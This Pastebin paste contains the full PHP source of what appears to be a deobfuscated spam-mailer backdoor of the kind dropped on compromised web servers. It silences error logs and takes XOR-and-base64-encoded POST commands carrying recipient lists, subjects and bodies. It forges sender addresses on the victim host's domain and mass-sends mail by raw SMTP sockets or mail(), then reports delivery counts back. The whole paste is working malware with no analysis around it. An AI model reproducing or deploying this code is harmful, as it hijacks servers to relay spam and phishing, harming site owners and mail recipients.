Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /* Decoded by Juno_okyo PHP Decoder v1.2 */
- $x74 = "+HM)?Z\"Yb&eny`{BPX^(=3}DT@q-m#9;UwI_[]8p/a~sE4zvW:%7*AdF0\r GruLfh>1cl!Vgt<.RQKJx6i\t5o|\\CN\$O\n,'2Skj";
- @error_reporting(null);
- @ini_set('error_log', null);
- @ini_set('log_errors', 0);
- if (count($_POST) < 2)
- die(PHP_OS . '10+' . md5(0987654321));
- $njjtv89 = false;
- $ancur53 = $dbgdy67 = $tunic34 = '';
- foreach (array_keys($_POST) as $mkyas29)
- {
- if ($mkyas29[0] == 1)
- $gyxkv18 = $mkyas29;
- if ($mkyas29[0] == 'd')
- $bhqpj75 = $mkyas29;
- if ($mkyas29[0] == 'm')
- $jqwvx54 = $mkyas29;
- if ($mkyas29[0] == 'e')
- $hldea3 = true;
- }
- if ($gyxkv18 == "" || $bhqpj75 == "")
- die(PHP_OS . '11+' . md5(0987654321));
- $kvlwy9 = kbxqy86($x74, $gyxkv18, $hldea3);
- $jwvwy7 = kbxqy86($x74, $bhqpj75, $hldea3);
- $whdlu62 = kbxqy86($x74, $jqwvx54, $hldea3);
- $cfklx46 = $qlzqj95 = $jemxl58 = $khhch6 = "";
- if (false !== preg_match('/<USER>(.*?)<\/USER>/ism', $jwvwy7, $glzsy90) && isset($glzsy90) && count($glzsy90) > 1)
- $cfklx46 = $glzsy90[1];
- if (false !== preg_match('/<NAME>(.*?)<\/NAME>/ism', $jwvwy7, $glzsy90) && isset($glzsy90) && count($glzsy90) > 1)
- $qlzqj95 = $glzsy90[1];
- if (false !== preg_match('/<SUBJ>(.*?)<\/SUBJ>/ism', $jwvwy7, $glzsy90) && isset($glzsy90) && count($glzsy90) > 1)
- $jemxl58 = $glzsy90[1];
- if (false !== preg_match('/<SBODY>(.*?)<\/SBODY>/ism', $jwvwy7, $glzsy90) && isset($glzsy90) && count($glzsy90) > 1)
- $khhch6 = $glzsy90[1];
- $ltvbg60 = array();
- $amrji4 = @preg_split('/#/', $kvlwy9);
- foreach ($amrji4 as $eksts90)
- {
- if (false === preg_match('/(.*?;)?(.*?;)?(.+@(.+)?);?/', $eksts90, $glzsy90))
- continue;
- if (!isset($glzsy90) || count($glzsy90) != 5)
- continue;
- $qvpqk41 = @ucfirst(str_replace(';', '', $glzsy90[1]));
- $ftedp35 = @ucfirst(str_replace(';', '', $glzsy90[2]));
- $nwagu9 = str_replace(';', '', $glzsy90[3]);
- $dnxnj29 = str_replace(';', '', $glzsy90[4]);
- if (!isset($dnxnj29) || $dnxnj29 == "")
- continue;
- if (!isset($nwagu9) || $nwagu9 == "")
- continue;
- $czpwk1 = $nwagu9;
- if (isset($qvpqk41) && $qvpqk41 != "")
- $czpwk1 = $x74[6] . $qvpqk41 . ' ' . $ftedp35 . $x74[6] . $x74[58] . $x74[73] . $nwagu9 . $x74[65];
- $xrjqq84 = @str_replace('%R_NAME%', $qvpqk41, $jemxl58);
- $xrjqq84 = @str_replace('%R_LNAME%', $ftedp35, $xrjqq84);
- $swvnm45 = @str_replace('%R_NAME%', $qvpqk41, $khhch6);
- $swvnm45 = @str_replace('%R_LNAME%', $ftedp35, $swvnm45);
- $sgvcn81 = @preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']);
- $oumvh33 = true;
- if (bqszv94($x74, $sgvcn81) || @ini_get('safe_mode'))
- $oumvh33 = false;
- $qqkfu81 = $cfklx46 . '@' . $sgvcn81;
- $xibky81 = $qqkfu81;
- if (isset($qlzqj95) && $qlzqj95 != "")
- $xibky81 = $qlzqj95 . $x74[58] . $x74[73] . $qqkfu81 . $x74[65];
- $ovuhw0 = "X-Priority: 3 (Normal)\n";
- $ovuhw0 .= "MIME-Version: 1.0\n";
- $ovuhw0 .= 'Content-Type: text/html; charset="iso-8859-1"\n';
- $ovuhw0 .= "Content-Transfer-Encoding: 8bit\n";
- $vfsgm49 = 'From: ' . $xibky81 . "\r\n";
- $vfsgm49 .= 'Reply-To: ' . $xibky81 . "\r\n";
- $koefs57 = 'Date: ' . @date('D, j M Y G:i:s O') . "\r\n";
- $koefs57 .= $vfsgm49;
- $koefs57 .= 'Message-ID: <' . preg_replace('/(.{7})(.{5})(.{2}).*/', md5(time())) . '@' . $sgvcn81 . '>' . "\r\n";
- $koefs57 .= 'To: ' . $czpwk1 . "\r\n";
- $koefs57 .= 'Subject: ' . $xrjqq84 . "\r\n";
- $koefs57 .= $ovuhw0;
- $uutrs49 = $koefs57 . "\r\n" . $swvnm45;
- if ($efyqz25 == '')
- $efyqz25 = dypje9($x74, $dnxnj29);
- $ltipc0 = gethostbyname($efyqz25);
- $ltvbg60[] = array(
- 'to' => $nwagu9,
- 'tolong' => $czpwk1,
- 'from' => $qqkfu81,
- 'address' => $ltipc0,
- 'port' => 25,
- 'sock' => null,
- 'stime' => null,
- 'step' => 0,
- 'result' => 100,
- 'hostname' => $sgvcn81,
- 'sbody' => $uutrs49,
- 'body' => $swvnm45,
- 'subj' => $xrjqq84,
- 'headmain' => $ovuhw0,
- 'headfrom' => $vfsgm49,
- 'forcefrom' => $oumvh33,
- );
- }
- $urdkn84 = false;
- if (function_exists('socket_create') && function_exists('socket_connect') && function_exists('socket_select') && function_exists('socket_read') && function_exists('socket_write'))
- {
- ghuyq49($x74, $ltvbg60);
- $xrvmi94 = 0;
- foreach ($ltvbg60 as $wmwex82)
- {
- if ($wmwex82['result'] == 0)
- {
- $urdkn84 = true;
- $xrvmi94++;
- }
- }
- }
- if ($urdkn84)
- {
- echo ('OK' . md5(1234567890) . '+3+' . count($ltvbg60) . $x74[0] . $xrvmi94 . "\n");
- exit;
- }
- if (function_exists('mail'))
- {
- $xrvmi94 = 0;
- foreach ($ltvbg60 as $wmwex82)
- {
- if ($wmwex82['forcefrom'])
- {
- $bbkct33 = @mail($wmwex82['tolong'], $wmwex82['subj'], $wmwex82['body'], $wmwex82['headfrom'] . $wmwex82['headmain'], $x74[27] . $x74[63] . $wmwex82['from']);
- } else
- {
- $bbkct33 = @mail($wmwex82['tolong'], $wmwex82['subj'], $wmwex82['body'], $wmwex82['headmain']);
- }
- if ($bbkct33)
- {
- $urdkn84 = true;
- $xrvmi94++;
- }
- }
- }
- if ($urdkn84)
- {
- echo ('OK' . md5(1234567890) . $x74[0] . $x74[56] . $x74[0] . count($ltvbg60) . $x74[0] . $xrvmi94 . "\n");
- exit;
- }
- $xrvmi94 = 0;
- foreach ($ltvbg60 as $wmwex82)
- {
- $eulww29 = 0;
- $bbkct33 = ofcbo56($x74, $wmwex82['from'], $wmwex82['to'], $wmwex82['sbody'], $wmwex82['hostname'], $wmwex82['address'], $eulww29);
- if ($bbkct33)
- {
- $urdkn84 = true;
- $xrvmi94++;
- }
- }
- if ($urdkn84)
- {
- echo ('OK' . md5(1234567890) . $x74[0] . $x74[66] . $x74[0] . count($ltvbg60) . $x74[0] . $xrvmi94 . "\n");
- } else
- {
- echo PHP_OS . $x74[94] . $x74[56] . $x74[0] . md5(0987654321) . $x74[0] . "\n";
- }
- exit;
- function bqszv94($x74, $nmxky47)
- {
- return preg_match('/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/', $nmxky47);
- }
- function kbxqy86($x74, $mkyas29, $njjtv89)
- {
- if (!isset($mkyas29) || $mkyas29 == "")
- return "";
- $mufqp54 = @$_POST[$mkyas29];
- if ($njjtv89)
- $mufqp54 = ageky23($x74, $mufqp54);
- return urldecode(stripslashes($mufqp54));
- }
- function ageky23($x74, $tzoui95)
- {
- $uxskk1 = base64_decode($tzoui95);
- $cgzst80 = '';
- for ($eyfcl47 = 0; $eyfcl47 < strlen($uxskk1); $eyfcl47++)
- $cgzst80 .= chr(ord($uxskk1[$eyfcl47]) ^ 2);
- return $cgzst80;
- }
- function ofcbo56($x74, $dhytr18, $jeitk30, $swvnm45, $udcen50, $efyqz25, &$eulww29)
- {
- $xhvcb28 = null;
- $updvl64 = 0;
- $vqjyg84 = "";
- if (function_exists('fsockopen'))
- {
- $xhvcb28 = @fsockopen($efyqz25, 25, $updvl64, $vqjyg84, 20);
- } elseif (function_exists('pfsockopen'))
- {
- $xhvcb28 = @pfsockopen($efyqz25, 25, $updvl64, $vqjyg84, 20);
- } elseif (function_exists('stream_socket_client') && function_exists('stream_socket_client'))
- {
- $xhvcb28 = @stream_socket_client('tcp://' . $efyqz25 . ':25', $updvl64, $vqjyg84, 20);
- } else
- {
- $eulww29 = 1;
- return false;
- }
- if (!$xhvcb28)
- {
- $eulww29 = 2;
- return false;
- } else
- {
- $tydyw57 = bafir40($x74, $xhvcb28);
- @fputs($xhvcb28, 'EHLO ' . $udcen50 . "\r\n");
- $cgzst80 = bafir40($x74, $xhvcb28);
- if (substr($cgzst80, 0, 3) != 250)
- {
- $eulww29 = 3;
- return false;
- }
- @fputs($xhvcb28, 'MAIL FROM:<' . $dhytr18 . '>' . "\r\n");
- $cgzst80 = bafir40($x74, $xhvcb28);
- if (substr($cgzst80, 0, 3) != 250)
- {
- $eulww29 = 4;
- return false;
- }
- @fputs($xhvcb28, 'RCPT TO:<' . $jeitk30 . '>' . "\r\n");
- $cgzst80 = bafir40($x74, $xhvcb28);
- if (substr($cgzst80, 0, 3) != 250 && substr($cgzst80, 0, 3) != 251)
- {
- $eulww29 = 5;
- return false;
- }
- @fputs($xhvcb28, 'DATA ');
- $cgzst80 = bafir40($x74, $xhvcb28);
- if (substr($cgzst80, 0, 3) != 354)
- {
- $eulww29 = 6;
- return false;
- }
- @fputs($xhvcb28, $swvnm45 . "\r\n" . $x74[74] . "\r\n");
- $cgzst80 = bafir40($x74, $xhvcb28);
- if (substr($cgzst80, 0, 3) != 250)
- {
- $eulww29 = 7;
- return false;
- }
- @fputs($xhvcb28, 'QUIT' . "\r\n");
- @fclose($xhvcb28);
- return true;
- }
- }
- function bafir40($x74, $xhvcb28)
- {
- $cgzst80 = '';
- while ($oqneh31 = @fgets($xhvcb28, 4096))
- {
- $cgzst80 .= $oqneh31;
- if (substr($oqneh31, 3, 1) == $x74[58])
- break;
- }
- return $cgzst80;
- }
- function dypje9($x74, $cihen28)
- {
- if (function_exists('getmxrr'))
- {
- @getmxrr($cihen28, $qsugg49, $zzrhd81);
- if (count($qsugg49) === 0)
- {
- return '127.0.0.1';
- }
- $eyfcl47 = array_keys($zzrhd81, min($zzrhd81));
- return $qsugg49[$eyfcl47[0]];
- } else
- {
- return '127.0.0.1';
- }
- }
- function ghuyq49($x74, &$ltvbg60)
- {
- $utikh57 = array();
- $vpwcz79 = 25;
- $xsqlj48 = 20;
- $mfsoc41 = array();
- $vbwwd75 = array();
- for ($emjul27 = 0; $emjul27 < count($ltvbg60); $emjul27++)
- {
- $ltvbg60[$emjul27]['sock'] = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
- if ($ltvbg60[$emjul27]['sock'] == false)
- {
- $ltvbg60[$emjul27]['result'] = 1;
- continue;
- }
- @socket_set_nonblock($ltvbg60[$emjul27]['sock']);
- $bbkct33 = @socket_connect($ltvbg60[$emjul27]['sock'], $ltvbg60[$emjul27]['address'], $ltvbg60[$emjul27]['port']);
- if ($bbkct33 == false)
- {
- $bfjun14 = socket_last_error();
- if ($bfjun14 != 10035 && $bfjun14 != SOCKET_EINPROGRESS && $bfjun14 != SOCKET_EALREADY)
- {
- $ltvbg60[$emjul27]['result'] = 2;
- continue;
- }
- }
- $ltvbg60[$emjul27]['stime'] = time(null);
- $mfsoc41[] = $ltvbg60[$emjul27]['sock'];
- $utikh57[$ltvbg60[$emjul27]['sock']] = $ltvbg60[$emjul27];
- $utikh57[$ltvbg60[$emjul27]['sock']]['orig'] = $emjul27;
- }
- while (count($mfsoc41) + count($vbwwd75) > 0)
- {
- $vefhc45 = $mfsoc41;
- $tuitc88 = $vbwwd75;
- if (false !== ($rxcte35 = socket_select($tuitc88, $vefhc45, $yodxf8 = null, 0)))
- {
- if ($rxcte35 > 0)
- {
- if (count($tuitc88) > 0)
- {
- foreach ($tuitc88 as $zqjlz41)
- {
- $tzoui95 = @socket_read($zqjlz41, 1024);
- if ($tzoui95 == false)
- {
- wcdkd83($x74, $zqjlz41, $ltvbg60, $utikh57, $vbwwd75, $utikh57[$zqjlz41]['step'] + 20);
- continue;
- }
- if ($utikh57[$zqjlz41]['step'] == 1)
- {
- $bbkct33 = @socket_write($zqjlz41, 'EHLO ' . $utikh57[$zqjlz41]['hostname'] . "\r\n");
- if ($bbkct33 == false)
- {
- wcdkd83($x74, $zqjlz41, $ltvbg60, $utikh57, $vbwwd75, $utikh57[$zqjlz41]['step'] + 30);
- continue;
- }
- ktkip84($x74, $zqjlz41, $ltvbg60, $utikh57, 2);
- } elseif ($utikh57[$zqjlz41]['step'] == 2)
- {
- if (substr($tzoui95, 0, 3) != 250)
- {
- print $tzoui95;
- wcdkd83($x74, $zqjlz41, $ltvbg60, $utikh57, $vbwwd75, $utikh57[$zqjlz41]['step'] + 40);
- continue;
- }
- $bbkct33 = @socket_write($zqjlz41, 'MAIL FROM:<' . $utikh57[$zqjlz41]['from'] . '>' . "\r\n");
- if ($bbkct33 == false)
- {
- wcdkd83($x74, $zqjlz41, $ltvbg60, $utikh57, $vbwwd75, $utikh57[$zqjlz41]['step'] + 30);
- continue;
- }
- ktkip84($x74, $zqjlz41, $ltvbg60, $utikh57, 3);
- } elseif ($utikh57[$zqjlz41]['step'] == 3)
- {
- if (substr($tzoui95, 0, 3) != 250)
- {
- print $tzoui95;
- wcdkd83($x74, $zqjlz41, $ltvbg60, $utikh57, $vbwwd75, $utikh57[$zqjlz41]['step'] + 40);
- continue;
- }
- $bbkct33 = @socket_write($zqjlz41, 'RCPT TO:<' . $utikh57[$zqjlz41]['to'] . '>' . "\r\n");
- if ($bbkct33 == false)
- {
- wcdkd83($x74, $zqjlz41, $ltvbg60, $utikh57, $vbwwd75, $utikh57[$zqjlz41]['step'] + 30);
- continue;
- }
- ktkip84($x74, $zqjlz41, $ltvbg60, $utikh57, 4);
- } elseif ($utikh57[$zqjlz41]['step'] == 4)
- {
- if (substr($tzoui95, 0, 3) != 250 && substr($tzoui95, 0, 3) != 251)
- {
- print $tzoui95;
- wcdkd83($x74, $zqjlz41, $ltvbg60, $utikh57, $vbwwd75, $utikh57[$zqjlz41]['step'] + 40);
- continue;
- }
- $bbkct33 = @socket_write($zqjlz41, 'DATA' . "\r\n");
- if ($bbkct33 == false)
- {
- print $tzoui95;
- wcdkd83($x74, $zqjlz41, $ltvbg60, $utikh57, $vbwwd75, $utikh57[$zqjlz41]['step'] + 30);
- continue;
- }
- ktkip84($x74, $zqjlz41, $ltvbg60, $utikh57, 5);
- } elseif ($utikh57[$zqjlz41]['step'] == 5)
- {
- if (substr($tzoui95, 0, 3) != 354)
- {
- print $tzoui95;
- wcdkd83($x74, $zqjlz41, $ltvbg60, $utikh57, $vbwwd75, $utikh57[$zqjlz41]['step'] + 40);
- continue;
- }
- $bbkct33 = @socket_write($zqjlz41, $utikh57[$zqjlz41]['sbody'] . "\r\n" . $x74[74] . "\r\n");
- if ($bbkct33 == false)
- {
- wcdkd83($x74, $zqjlz41, $ltvbg60, $utikh57, $vbwwd75, $utikh57[$zqjlz41]['step'] + 30);
- continue;
- }
- ktkip84($x74, $zqjlz41, $ltvbg60, $utikh57, 6);
- } elseif ($utikh57[$zqjlz41]['step'] == 6)
- {
- if (substr($tzoui95, 0, 3) != 250)
- {
- print $tzoui95;
- wcdkd83($x74, $zqjlz41, $ltvbg60, $utikh57, $vbwwd75, $utikh57[$zqjlz41]['step'] + 40);
- continue;
- }
- $bbkct33 = @socket_write($zqjlz41, 'QUIT' . "\r\n");
- if ($bbkct33 == false)
- {
- wcdkd83($x74, $zqjlz41, $ltvbg60, $utikh57, $vbwwd75, $utikh57[$zqjlz41]['step'] + 30);
- continue;
- }
- ktkip84($x74, $zqjlz41, $ltvbg60, $utikh57, 6);
- wcdkd83($x74, $zqjlz41, $ltvbg60, $utikh57, $vbwwd75, 0);
- }
- else
- {
- wcdkd83($x74, $zqjlz41, $ltvbg60, $utikh57, $vbwwd75, 70);
- }
- }
- }
- if (count($vefhc45) > 0)
- {
- foreach ($vefhc45 as $bfzad5)
- {
- ktkip84($x74, $bfzad5, $ltvbg60, $utikh57, 1);
- $vbwwd75[] = $bfzad5;
- $dfftl91 = array_search($bfzad5, $mfsoc41);
- unset($mfsoc41[$dfftl91]);
- }
- }
- }
- } else
- {
- break;
- }
- foreach ($utikh57 as $gwarf87)
- {
- $uieiv97 = time(null);
- if ($gwarf87['step'] == 0)
- {
- if ($gwarf87['stime'] + $vpwcz79 < $uieiv97)
- {
- wcdkd83($x74, $gwarf87['sock'], $ltvbg60, $utikh57, $mfsoc41, $gwarf87['step'] + 50);
- }
- }
- else
- {
- if ($gwarf87['stime'] + $xsqlj48 < $uieiv97)
- {
- wcdkd83($x74, $gwarf87['sock'], $ltvbg60, $utikh57, $vbwwd75, $gwarf87['step'] + 60);
- }
- }
- }
- }
- }
- function wcdkd83($x74, $xhvcb28, &$nmclr28, &$xrnny62, &$dnozb29, $jvdfz18)
- {
- $nmclr28[$xrnny62[$xhvcb28]['orig']]['result'] = $jvdfz18;
- $jpuro84 = array_search($xhvcb28, $dnozb29);
- unset($dnozb29[$jpuro84]);
- unset($xrnny62[$xhvcb28]);
- socket_close($xhvcb28);
- }
- function ktkip84($x74, $xhvcb28, &$nmclr28, &$xrnny62, $axiqo55)
- {
- $nmclr28[$xrnny62[$xhvcb28]['orig']]['step'] = $axiqo55;
- $nmclr28[$xrnny62[$xhvcb28]['orig']]['stime'] = time(null);
- $xrnny62[$xhvcb28]['step'] = $axiqo55;
- $xrnny62[$xhvcb28]['stime'] = time(null);
- }
- /* End of file */
Add Comment
Please, Sign In to add comment